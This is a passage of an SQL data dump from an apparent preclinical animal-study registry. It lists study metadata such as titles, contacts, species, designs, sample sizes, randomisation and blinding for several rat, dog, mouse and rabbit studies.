	(10203,283,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10204,283,'species','\"rat\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10205,283,'strain','\"Sprague-Dawley\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10206,283,'sex','\"male\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10207,283,'experimental_design','\"The research was conducted at the Biology Laboratory, Faculty of Science and Technology, State Islamic University of Sunan Kalijaga, Yogyakarta, Indonesia. 50 male Sprague-Dawley rats (4 weeks) weighing between 200 - 250 g were obtained from the Animals Model Yogyakarta farm, Indonesia, and transported to the research site. The animals are grouped and placed in cages and kept under laboratory standard conditions (temperature: 27 \\u00b1 2 oC), with a light-dark cycle (12\\/12 hours) and relative humidity of 50\\u201360%. The mice were acclimatized with laboratory conditions for 10 days before the start of the experiment. During the entire experiment, the mice were given ad libitum access to standard animal feed or pellets from Rat Bio\\u00ae by PT Citra Ina Feedmill and drinking water. After a 10-day adaptation period, the mice were randomly divided into five groups of 10 individuals each. The research protocol (use of experimental animals) refers to the Helsinki Declaration and the Council for International Organizations of Medical Sciences (CIOMS), as well as this research protocol has obtained online ethical approval (http:\\/\\/sim-epk.keppkn.kemkes.go.id) of RSUP Prof. Dr. RD. Kandou, Manado with No. 202100061637171011P321252022031700008. In addition, all experimental procedures are carried out per the Institutional Animal Care and Use Committee (ARRIVE guidelines).\\nDuring the experiment, the animals were monitored daily for any specific signs of impaired well-being (e.g. loss of appetite, ruffling, lethargy, apathy, hiding, cowering) by a professional veterinarian. Each week they are also checked for specific signs of declining health and weighed. The detailed characteristics of the experimental group are presented below:\\n\\u2022\\tCON-NORM \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tCON-NEG* \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water, \\n\\u2022\\tSG-L* \\u2013 control group with 2.7 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tSG-M*\\u2013 control group with 5.4 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tSG-H*\\u2013 control group with 10.8 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water.\\nThe dose of sea grapes is given and performed by a certified and certified professional. Mice from four groups marked with &quot;Star(*)&quot; on the 38th day of life were given 7,12-Dimethylbenz[a]anthracene (C20H16; DMBA; PubChem CID: 6001) in doses of 80 mg\\/kgBW (16 mg\\/200g BB) for the induction of mammary gland tumors. Carcinogenic agents dissolved in horseradish oil (Rapeseed oi) and given as an intragastric solution (Rapeseed oil (RO) were selected as DMBA deliverers because they were shown not to affect the profile of biohydrogenation products, intermediates, and conjugated fatty acids (CFAs) in the content of rumen and selected animal tissues). During the entire experiment, daily intake of animal feed and drinking fluids was monitored and did not differ between the control group and the experimental group. After probation (21 weeks) the rat was beheaded, removed his blood and taken his heart or cardiac and liver or hepatic, weighed, and stored at a temperature of -80 oC for further analysis. The analysis includes:\\n1.\\tFA analysis in cardiac tissue\\n2.\\tindex of atherogenicity (AI)\\n3.\\tindex of thrombogenicity (TI)\\n4.\\thypo\\/hypercholesterolemic index (HH)\\n5.\\tCFA analysis in cardiac tissue\\n6.\\tMalondialdehyde (MDA) analysis in cardiac tissue\\n7.\\tTotal cholesterol, \\n8.\\tsqualene and oxysterols \\n9.\\tanalysis in cardiac tissue\\n10.\\tMicrosomal enzyme COX-2 (hepatic tissue)\\n11.\\tMicrosomal enzyme CYP1B1 (hepatic tissue)\\n12.\\tMalondialdehyde (MDA) analysis in hepatic tissue\\nComposition of Feed or Pellets \\nPellets from Rat Bio\\u00ae by PT Citra Ina Feedmill has composition consist of: moisture 12%, protein 20%, fat 4%, fiber 14% calcium 1%, phosphor 0.7%, total ash 11.5%, vitamin C: 0.3% and vitamin E 0.1%. It\\u2019s recommended to store it in a cold or cool and dry place and avoid contact with direct sunlight.\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10208,283,'sample_size_calculation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10209,283,'sample_size_calculation_details','\"The sample is calculated using the Federer formula: (n-1)(t-1)&gt;15, where n = number of repetitions or replications, t = number of groupings. (n-1) (5-1)&gt;15; 5n -n -5 +1 &gt; 15; 4n -4&gt;15; 4n&gt; 19; n&gt; 4,75 or 5. The minimum number of samples is 5, the researcher chose ten in order to minimize bias and become a proposal for further research.\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10210,283,'sum_of_animals','\"50 (Fifty) Rats\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10211,283,'randomisation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10212,283,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10213,283,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10214,283,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10215,283,'yes_blinded_intervention_partially_details','\"Mice were randomized by the lab, and the lab was not informed about the intervention information.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10216,283,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10217,283,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10218,283,'original_animal_ethics_committee_application','\"http:\\/\\/sim-epk.keppkn.kemkes.go.id\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10219,283,'application_number','\"202100061637171011P321252022031700008\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10220,283,'has_embargo','\"no\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10221,283,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"CON-NORM \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"CON-NEG* \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"SG-L* \\u2013 control group with 2.7 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"SG-M*\\u2013 control group with 5.4 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"SG-H*\\u2013 control group with 10.8 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10222,282,'study_arms','[{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"Dams injected PBS during pregnancy\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"Dams injected Poly(I:C) during pregnancy\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Sham-vaccinated offspring of Control dams (i.e. offspring given PBS instead of Influvac)\"},{\"type\":\"control\",\"number\":\"28\",\"intervention\":\"Influenza-vaccinated offspring of Control dams\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Sham-vaccinated offspring of Poly(I:C) dams (i.e. offspring given PBS instead of Influvac)\"},{\"type\":\"other\",\"number\":\"28\",\"intervention\":\"Influenza-vaccinated offspring of Poly(I:C) dams\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10223,282,'randomisation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10224,282,'randomisation_method_used','\"other\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10225,282,'other_randomisation_method','\"RandoMice software (published by Leiden University Medical Center)\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10226,282,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10227,282,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10228,282,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10229,282,'yes_blinded_intervention_partially_details','\"The code keeper will randomise the dams into Poly(I:C)\\/PBS groups and allocate the offspring to vaccination\\/sham groups; this person will not be involved in the execution or management of the study. Researchers and staff involved directly in the study will only receive a list of animals coupled to coded treatments from the code keeper. Since the two maternal groups are unequal in size, the code keeper will make up more codes to mask the actual group names; these codes will also be used for labelling the Poly(I:C) and PBS solutions. \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10230,282,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10231,282,'yes_blinded_assessment_partially_details','\"The persons who carry out and record the DTH measurements will be blinded to the experimental group of the animals.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10232,282,'application_number','\"Application number (Work Protocol): 4568-1-02\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10233,284,'title','\"Radiographic and Histological Outcome of Regenerative Endodontic Treatment in dogs Teeth using a Collagen-hydroxyapatite scaffold.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10234,284,'short_title','\"Regenerative Endodontic Treatment using a Collagen-hydroxyapatite scaffold.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10235,284,'contact_name','\"Ameera Lotfy\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10236,284,'contact_role','\"executive researcher\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10237,284,'contact_email','\"amira.lotfy.dent@o6u.edu.eg\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10238,284,'study_centre','[{\"name\":\"Faculty of Veterinary Medicine, Cairo University\",\"city\":\"Cairo\",\"country\":\"EG\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10239,284,'other_financial_support','\"self funded\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10240,284,'start_date','\"2021-11-24\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10241,284,'end_date','\"2022-12-31\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10242,284,'study_status','\"active\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10243,284,'research_field','\"Regenerative endodontics in dental field.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10244,284,'hypothesis','\"The purpose of this study is to compare the outcome of regenerative endodontics (radiographic and histologic) in immature permanent teeth in dogs using two different type of scaffolds:\\n1-\\tCollagen-hydroxyapatite Scaffold (Osteon III collagen scaffold). \\n2-\\tConventional blood clot scaffold.\\n\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10245,284,'intervention_type','\"compound\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10246,284,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10247,284,'primary_readout_parameter','\"Evaluation of dentin thickness between pre and post-operative standardized digital x-ray on different time intervals.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10248,284,'secondary_readout_parameter','\"Confirming regenerative tissue by histological examination.\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10249,284,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10250,284,'species','\"dog\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10251,284,'sex','\"both\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10252,284,'strain','\"mongrel stray dogs\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10253,284,'experimental_design','\"healthy immature mongrel stray dogs\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10254,284,'sample_size_calculation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10255,284,'sum_of_animals','\"4 Dogs \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10256,284,'study_arms','[{\"type\":\"intervention\",\"number\":\"4 teeth \",\"intervention\":\"Blood clot scaffold\"},{\"type\":\"intervention\",\"number\":\"4 teeth\",\"intervention\":\"Osteon III collagen scaffold \"},{\"type\":\"control\",\"number\":\"4 teeth \",\"intervention\":\"No intervention (normal pulp development)\"},{\"type\":\"control\",\"number\":\"4 teeth\",\"intervention\":\"Pulpectomy without any further intervention \"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10257,284,'randomisation','\"no\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10258,284,'why_no_randomisation','\"all arms of study are applied in each dogs but in different teeth\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10259,284,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10260,284,'yes_blinded_intervention_partially_details','\"intervention require procedures with totally different stops for each arm \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10261,284,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10262,284,'yes_blinded_assessment_partially_details','\"all the outcome assessment done by a third party not involved in the research \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10263,284,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10264,284,'original_animal_ethics_committee_application','\"Protocol No: 20532-886\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10265,284,'application_number','\"FDASU-REC\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10266,284,'link_to_data','\"https:\\/\\/www.sciencedirect.com\\/science\\/article\\/abs\\/pii\\/S0099239919308386\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10267,284,'has_embargo','\"no\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10268,285,'title','\"The role of ADAMTS13 in trauma-induced coagulopathy \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10269,285,'contact_name','\"Pieter Sloos\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10270,285,'contact_role','\"Executive researcher \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10271,285,'contact_email','\"p.h.sloos@amsterdamumc.nl\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10272,285,'study_centre','[{\"name\":\"Laboratory of Experimental Intensive Care and Anesthesiology (LEICA)\",\"city\":\"Amsterdam\",\"country\":\"NL\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10273,285,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10274,285,'start_date','\"2022-04-07\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10275,285,'end_date','\"2023-04-07\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10276,285,'study_status','\"not_started\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10277,285,'research_field','\"Trauma, intensive care, coagulation\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10278,285,'hypothesis','\"1. Unraveling the role of ADAMTS13 in trauma-induced coagulopathy (TIC)\\n2. Investigating the effect of tranexamic acid (TXA) and recombinant thrombomodulin (rTM) on ADAMTS13 degradation and TIC\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10279,285,'intervention_type','\"compound\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10280,285,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10281,285,'primary_readout_parameter','\"Trauma-induced coagulopathy determined by rotational thromboelastometry (ROTEM)\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10282,285,'secondary_readout_parameter','\"Markers of coagulation\\nTailbleeding time, complete blood counts, platelet surface receptors (CD41, CD42b, CD62p, JON\\/A), platelet-leukocyte aggregates, coagulation proteins, ADAMTS13, VWF\\n\\nOther markers\\nShock severity, inflammation (e.g. cytokines), organ dysfunction (e.g. wet\\/dry ratios) and mortality\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10283,285,'species','\"mouse\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10284,285,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10285,285,'strain','\"ADAMTS13 knock-out (KO) and wild-type (WT) controls (129S2\\/SvPasOrlRJ), bred in on-site animal facility. \"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10286,285,'sex','\"male\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10287,285,'experimental_design','\"Mice receive induction anesthesia with 3-5% sevoflurane in an induction chamber, followed by an intraperitoneal injection of fentanyl in a dose of 0.06mg\\/kg. Under spontaneous breathing oxygen and sevoflurane supplemented medical air, tracheostomy is performed and mice are connected to a mechanical ventilator (VentElite, Harvard Apparatus, USA). Mice are mechanically ventilated with tidal volumes of 7.2ml\\/kg, respiratory rate of 190 breaths per minute, inspiratory:expiratory ratio of 1:1.5 and FiO2 of 40%. An inspiratory sigh of 20% will be performed every 30 minutes to maintain airway patency. During mechanical ventilation mice remain anesthesised with 1-3% sevoflurane. The right carotid artery is cannulated to monitor arterial blood pressure. The right jugular vein is cannulated after which mice receive intravenous 20ml\\/kg maintenance fluids consisting of Ringer\\u2019s lactate supplemented with 0.5% glucose, 0.2% sodium bicarbonate and 0.12mg\\/kg fentanyl (Pump 11 Pico Plus Elite, Harvard Apparatus, USA). After cannulation is completed, mice are randomly allocated to one of the experimental groups (N=15 per group, see sample size). Trauma consists of bilateral lower limb fractures inflicted with two hemostatic forceps followed by median laparotomy. Crush injury to the rectus abdominus muscle and small intestine is inflicted by clamping the tissue for two seconds, in multiple locations. Liver injury is achieved by removing a 8mm crossdiagonal section of the liver using a biopsy punch.\\n\\nAdditional blood is drawn through the carotid artery cannula to achieve a target mean arterial pressure of 20-30mmHg. Hemodilution is performed by infusion of Ringer\'s lactate (400ul). After the trauma and shock period, TXA, rTM or vehicle is administered IV. After trauma and shock, the distal end of the tail is cut off and bleeding is monitored for 20 minutes. After 30 minutes of shock a terminal blood draw is performed though the carotid artery or via heart puncture and organs are collected, after which the material is processed immediately. Optimal dose of and rhTM is determined in a dose-response study. Three different doses are tested of both compounds. The dose-response studies are not further described here. For TXA the dose is based on current clinical practise. \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10288,285,'sample_size_calculation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10289,285,'sum_of_animals','\"180\\n\"','2022-03-31 13:24:06','2022-03-31 13:24:07'),
	(10290,285,'study_arms','[{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"wildtype (WT): Ventilation + vehicle (TM + TXA)\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"WT: trauma + vehicle (TM + TXA)\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"WT: trauma + shock + vehicle (TM + TXA)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"WT: trauma + shock + TXA + vehicle (TM)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"WT: trauma + shock + rTM + vehicle (TXA)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"WT trauma + shock + TXA + rTM\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"ADAMTS13 knockout (KO): ventilation + vehicle (TM + TXA)\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"KO: trauma + vehicle (TM + TXA)\"},{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"KO: trauma + shock + vehicle (TM + TXA)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"KO: trauma + shock + TXA + vehicle (TM)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"KO: trauma + shock + rTM + vehicle (TXA)\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"KO: trauma + shock + TXA + rTM\"}]','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10291,285,'randomisation','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10292,285,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10293,285,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10294,285,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10295,285,'yes_blinded_intervention_how_details','\"All investigators involved are blinded to the allocation of the animals, until the animal is fully cannulated. After this period the allocation to the experimental group will become known to all investigators. Genetic background of the animals (i.e. knock-out or wild-type) is not blinded.\\n\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10296,285,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10297,285,'yes_blinded_assessment_partially_details','\"Animals are assigned a specific code, which does not reveal the assigned group.  \"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10298,285,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10299,285,'application_number','\"20-9765-1-05\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10300,285,'has_embargo','\"yes\"','2022-03-31 13:24:06','2022-03-31 13:24:06'),
	(10301,285,'sample_size_calculation_details','\"As multiple questions on the mechanism of the role of ADAMTS13 on TIC are investigated, our sample size is based on the largest number of groups used in a specific comparison of TIC and ADAMTS13 degradation. When the sample size in each of the 8 groups is 10, a one-way analysis of variance will have 80% power to detect at the 5% level a difference in means characterized by a variance of means, V, of 133,984, assuming that the common standard deviation is 25. We estimate 30% mortality in our model, based on previous experiments. Therefore 10\\/0.7 = 15 animals per group will be included. \"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10302,152,'link_to_data','\"https:\\/\\/pubmed.ncbi.nlm.nih.gov\\/34284596\\/\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10303,249,'link_to_data','\"https:\\/\\/pubmed.ncbi.nlm.nih.gov\\/34330756\\/\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/33541920\\/\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/35135850\\/\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10304,286,'title','\"\\nHEMC. Sodium hyaluronate acid cross linking with Photoactivated Riboflavin  for the treatment of progressive  keratoconus   \\n\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10305,286,'short_title','\"The Treatment of progressive keratoconus\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10306,286,'contact_name','\"Mina Hanna\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10307,286,'contact_role','\"executive researche\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10308,286,'contact_email','\"drmina@elromanyophthalmics.com\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10309,286,'study_centre','[{\"name\":\"El Romany Ophthalmics \",\"city\":\"Cairo\",\"country\":\"EG\"}]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10310,286,'financial_support','[\"industry\"]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10311,286,'start_date','\"2022-03-01\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10312,286,'end_date','\"2023-03-01\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10313,286,'study_status','\"not_started\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10314,286,'research_field','\"ophthalmology \"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10315,286,'hypothesis','\"hypothesis the treatment of progressive keratoconus Using HEMC. Sodium hyaluronate acid with riboflavin instead of dextran or HPEMC \"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10316,286,'intervention_type','\"other\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10317,286,'other_intervention_type','\"New treatment\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10318,286,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10319,286,'primary_readout_parameter','\"The viscosity of HEMC. SODIUM hyaluronate acid \"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10320,286,'secondary_readout_parameter','\"The PH of HEMC. SODIUM hyaluronate acid \"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10321,286,'exclusive_animal_use','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10322,286,'species','\"rabbit\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10323,286,'sex','\"both\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10324,286,'experimental_design','\"NON\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10325,286,'sample_size_calculation','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10326,286,'sum_of_animals','\"\\t1st stage 90, 2nd stage 180, 3rd stage 270. In total 270 animals\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10327,286,'study_arms','[{\"type\":\"control\",\"number\":\"130\",\"intervention\":\"standard medical therapy\"}]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10328,286,'randomisation','\"yes\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10329,286,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10330,286,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10331,286,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10332,286,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10333,286,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10334,286,'has_embargo','\"no\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10335,281,'has_embargo','\"yes\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10336,287,'title','\"Identifying early mechanisms of immunosuppression by rabies virus (RABV)\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10337,287,'contact_name','\"Carmen Embregts\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10338,287,'contact_role','\"PI\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10339,287,'contact_email','\"c.embregts@erasmusmc.nl\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10340,287,'study_centre','[{\"name\":\"Erasmus Medical Center\",\"city\":\"Rotterdam\",\"country\":\"NL\"}]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10341,287,'financial_support','[\"grants\"]','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10342,287,'start_date','\"2022-04-01\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10343,287,'end_date','\"2023-04-01\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10344,287,'study_status','\"active\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10345,287,'research_field','\"Immunology, virology\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10346,287,'hypothesis','\"Rabies virus is able to travel from the initial infection site to the brain unnoticed, without triggering an immune response. The virus travels through the immune-privileged central nervous system, but comes into contact with immune cells at the early stages of infection, at the bite\\/infection site. We hypothesize that RABV suppress the immune response already at these early events of infection, by suppressing local and recruited (innate) immune cells. The effects of RABV on innate immune cells are largely unknown.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10347,287,'intervention_type','\"not_applicable\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10348,287,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10349,287,'primary_readout_parameter','\"Immune activation or lack of immune activation. This will be measured through multiple techniques (e.g. flow cytometry, immunohistochemistry, cytokine response) at multiple time-points after inoculation: 6, 12, 24 and 48 hours.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10350,287,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10351,287,'species','\"mouse\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10352,287,'strain','\"C57BL\\/6\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10353,287,'sex','\"both\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10354,287,'experimental_design','\"Mice will be intramuscularly inoculated under isoflurane anesthesia. Mock-inoculated groups will be included, as well as one group of na\\u00efve animals (n=4). Mice will be euthanized at the indicated time points, after which organs of interest (e.g. inoculation area, draining lymph nodes) will be collected. No intervention will be used in this study. The experiment will be performed twice, once for flow cytometry and once for immunohistochemistry. Whole organs (lymph nodes, muscles) will be used for the analysis and therefore the experiments cannot be combined.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10355,287,'sample_size_calculation','\"yes\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10356,287,'sample_size_calculation_details','\"Previous studies in mice show that group sizes of around four-six are generally used when differences between groups (e.g. viral load, immune factors) are quantified. In all experiments we will make use of pairwise comparison of control animals (mock-inoculated or na\\u00efve) animals inoculated with RABV. Group means of the specific readouts will be compared by generalized estimated equations corrected for multiple comparisons (e.g. when measuring multiple cytokines that can be correlated to each other). These numbers also fall in line with the recommendations by Richardson and Overbaugh, in their paper \\u201cBasic statistical considerations in virological experiments\\u201d.\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
	(10357,287,'sum_of_animals','\"72\"','2022-03-31 13:24:07','2022-03-31 13:24:07'),
